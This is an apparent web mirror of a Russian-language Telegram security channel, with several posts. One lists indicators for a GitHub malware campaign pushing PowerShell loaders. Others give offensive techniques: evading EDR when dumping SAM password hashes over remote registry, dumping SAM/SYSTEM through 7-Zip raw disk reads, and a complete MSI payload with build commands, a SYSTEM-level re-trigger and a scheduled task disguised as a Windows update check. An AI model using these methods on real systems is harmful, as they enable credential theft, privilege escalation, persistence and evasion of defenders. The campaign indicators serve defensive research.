Channels

Top 100 Trending New

Categories

Crypto Gaming News Entertainment Music Sports Tech Gambling Bots and mini apps Finance Business Education Lifestyle Health Travel Auto Fashion Jobs Dating Deals and shopping

Stickers

Stickers Emoji Themes Wallpapers

Bots Gifts Tools

Currency

$ USD ₽ RUB € EUR ₴ UAH ₸ KZT ₺ TRY zł PLN ₪ ILS AED AED R$ BRL Rp IDR RM MYR ¥ JPY ₩ KRW CN¥ CNY

Theme

Português (Brasil)

Bahasa Indonesia

Беларуская

Українська

Channels Categories Stickers Bots Gifts Tools

Premium Wiki Glossary Legal

Notifications Settings Log in

ByTe [ ]f Digital Life: post #184 — TG.ME

ByTe [ ]f Digital Life@byteoflife · 1K subscribers Open in TelegramOpen

t.me/byteoflife/184

service.c6.8 KB · C

May 14, 2026 1.2K 21

More from this channel

Вредоносная кампания через GitHub под видом активаторов и популярного ПО Обнаружена сеть GitHub-репозиториев, распространяющих одну и ту же PowerShell-команду загрузки с github-software[.]su. В том числе ВПО маскируется под KMS Pico / активатор Windows, а также под коммерческое ПО, игровые читы и различные утилиты. После запуска Loader.ps1 загружается update.ps1, который доставляет дальнейшую полезную нагрузку Helper.exe. Согласно опубликованному техническому анализу, последующие компоненты выполняют кражу сохранённых учётных данных, создание снимков экрана, закрепление в системе и связь с C2. IOC: github-software[.]su/powershell/Loader.ps1 github-software[.]su/encrypted/update.ps1 Выявленные GitHub-репозитории: github[.]com/dev-Time81576318jagu/KMS-Pico-Download github[.]com/HydromancerPlant/EasyWorship-Software github[.]com/Forestplaexpiate/R.E.P.O-Trainer github[.]com/BoltAnchorage/Affinity-Photo-Tools github[.]com/CircuitSwift95/Rufus-Iso github[.]com/FloorSaboteur/Discord-Nitro-Tools github[.]com/DrakeDeanShield/File-Pumper github[.]com/Piecelimultiply/Adobe-Acrobat-Professional github[.]com/NeedInvestor/Imei-Repair-tool github[.]com/maxiboltnode/Quicken-Deluxe github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software github[.]com/Goldenouquilt37/Wirecast-Pro github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026 github[.]com/Creaturefleweave/VoiceMod-Pro-2026 github[.]com/LakeSunMomentum/CCLeaner-Profesional-2026 github[.]com/JadeVeterinarian/FlashBots-Tool github[.]com/CenterFlange/Unicore-Star-Rail github[.]com/Cracked-Flux7259-hq/Marvel-Rivals-Helper github[.]com/SupremeCloudChart/Rust-External-Menu-2026 github[.]com/Virtual-pwn608993/Cap-Cut-Pro github[.]com/Werewolftricode/Exposure-x7-Tool github[.]com/LancerSound27/AOMEI-Backupper github[.]com/Torusfaroller/Cinebench-Software github[.]com/Manacleunderrear/CATIA-Software github[.]com/basiliskloadervacuum/iZotope-Ozone-Software Не запускайте команды из README и не отключайте Microsoft Defender для установки подобных «активаторов». 413·Aug 27 Снижаем видимость SAM dump для EDR Классический Impacket/secdump: RemoteRegistry → \\pipe\\winreg → BaseRegSaveKey / BaseRegSaveKeyEx → hive-файл → SMB pull → offline parse Это хорошо детектится: SaveKey, временный SAM hive, файловый след, SMB-чтение. NXC regdump уже тише, но там основной SAM path всё равно выглядит так: BaseRegOpenKey → BaseRegEnumKey(RID) → BaseRegQueryValue("V") Как можно сделать чтобы сломать паттерн детекта: RemoteRegistry → \\pipe\\winreg → BaseRegOpenKey(BACKUP_RESTORE) → BaseRegEnumValue Без использования: - BaseRegSaveKey - BaseRegSaveKeyEx - временного hive-файла - SMB pull - первого BaseRegQueryValue("V") Решение: BaseRegEnumValue возвращает ValueName, Type и Data прямо в RPC response. Поэтому данные можно забрать через enumeration, а не через query, что ломает логику многих детектов : ) 810·Aug 11 CIG: загрузка только DLL, подписанных Microsoft В Windows есть Code Integrity Guard (CIG), он же Binary Signature Policy. Параметр MicrosoftSignedOnly запрещает процессу загружать PE-модули, не подписанные Microsoft. Обычный Authenticode-сертификат компании или собственный сертификат не подойдёт. #define _WIN32_WINNT 0x0602 #include <windows.h> #include <stdio.h> int main(void) { PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = {0}; policy.MicrosoftSignedOnly = 1; if (!SetProcessMitigationPolicy( ProcessSignaturePolicy, &policy, sizeof(policy))) { printf("Error: %lu\n", GetLastError()); return 1; } puts("Microsoft-signed-only policy enabled"); return 0; } Этот флаг проверяет конкретную DLL при одном вызове LoadLibraryEx, тогда как MicrosoftSignedOnly действует на весь процесс. На практике CIG может ломать плагины, хуки EDR/AV, оверлеи и любые сторонние DLL. Небольшая защитка от некоторых продуктов, которые любят пихнуть свою dll-ку в процесс для более глубокого мониторинга за user-mode пространством. 1K·Jul 31

Дампим SAM/SYSTEM через 7-Zip Знакомая ситуация: вы на машине юзера, нужно достать хеши, но reg save или copy блокируются EDR, файлы заблокированы самой Windows, а антивирус палит известные утилиты. Но на рабочих станциях часто установлен 7-Zip! И у него есть крутая недокументированная фича - прямое чтение диска (raw disk access). А можно использовать и для DFIR извлекать MFT и т.д. Чем проще и банальнее тем лучше : ) 3.8K·Jul 28 Windows Installer cache Каждый установленный MSI кэшируется в C:\Windows\Installer\ под случайным именем (*.msi). Механизм self-repair позволяет перезапускать custom actions от имени NT AUTHORITY\SYSTEM, если установка была per-machine. Когда MSI устанавливается с привилегиями SYSTEM (per-machine install), Windows сохраняет копию пакета в Installer cache. Дальше любая команда вида: msiexec /fa {PRODUCT-CODE-GUID} запускает reinstall all files - и вместе с ним все custom actions из закэшированного MSI, причём от SYSTEM, даже если триггер пришёл от обычного пользователя через службу Windows Installer. Минимальный payload.wxs: <?xml version="1.0" encoding="UTF-8"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" Name="UpdateHelper" Language="1033" Version="1.0.0.0" Manufacturer="MS" UpgradeCode="PUT-YOUR-GUID-HERE"> <Package InstallerVersion="200" Compressed="yes" InstallScope="perMachine" /> <Media Id="1" Cabinet="data.cab" EmbedCab="yes" /> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFiles64Folder"> <Directory Id="INSTALLFOLDER" Name="UpdateHelper" /> </Directory> </Directory> <Feature Id="Main" Title="Main" Level="1"> <ComponentRef Id="Dummy"/> </Feature> <DirectoryRef Id="INSTALLFOLDER"> <Component Id="Dummy" Guid="*"> <File Id="dummy" Source="dummy.txt" KeyPath="yes"/> </Component> </DirectoryRef>  <CustomAction Id="Payload" ExeCommand='cmd.exe /c whoami > C:\Windows\Temp\who.txt' Directory="INSTALLFOLDER" Execute="deferred" Impersonate="no" Return="ignore"/> <InstallExecuteSequence> <Custom Action="Payload" After="InstallFiles">1</Custom> </InstallExecuteSequence> </Product> </Wix> Ключевые атрибуты: - InstallScope="perMachine" — иначе кэш будет в профиле пользователя и SYSTEM не получится - Execute="deferred" + Impersonate="no" — выполнение из контекста msiserver под SYSTEM - Return="ignore" — чтобы падение payload не откатывало установку Сборка: candle payload.wxs light payload.wixobj -o payload.msi Установка и триггер msiexec /i payload.msi /quiet После этого MSI лежит в C:\Windows\Installer\<random>.msi, ProductCode виден в: HKLM\SOFTWARE\Classes\Installer\Products\ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ Триггер для повторного запуска под SYSTEM: msiexec /fa {PRODUCT-CODE} Дополнительно подкрепляется через schtasks /create /tn "WindowsUpdateCheck" /sc daily /st 09:00 ^ /tr "msiexec /fa {GUID} /qn" 1.5K·Jun 4

An open web layer over public Telegram — search, stats and channel reading right in your browser, no account, no install.

Not affiliated with Telegram FZ-LLC; all data comes from public sources.

Catalog

Top channels Categories Countries Search

Content

Stickers Emoji Gifts Themes Wallpapers

Help

Tools Wiki Glossary Blockchain Safety Premium Advertisers Advertising

© 2026 TG.ME · G.Media network· Updated 09/01/2026 · v0.2.0 · da526fb

Privacy Terms DMCA & complaints Report a violation

Where to next

Proxy MTProto11.9M subscribers

Telegram Tips11.1M subscribers

Телега6.5M subscribers

Bum’s Corner 📦5.1M subscribers

Чё по трендам?3.5M subscribers

TikTokModCloud 🌤️3.1M subscribers

Техночат3M subscribers

Мир трендов2.9M subscribers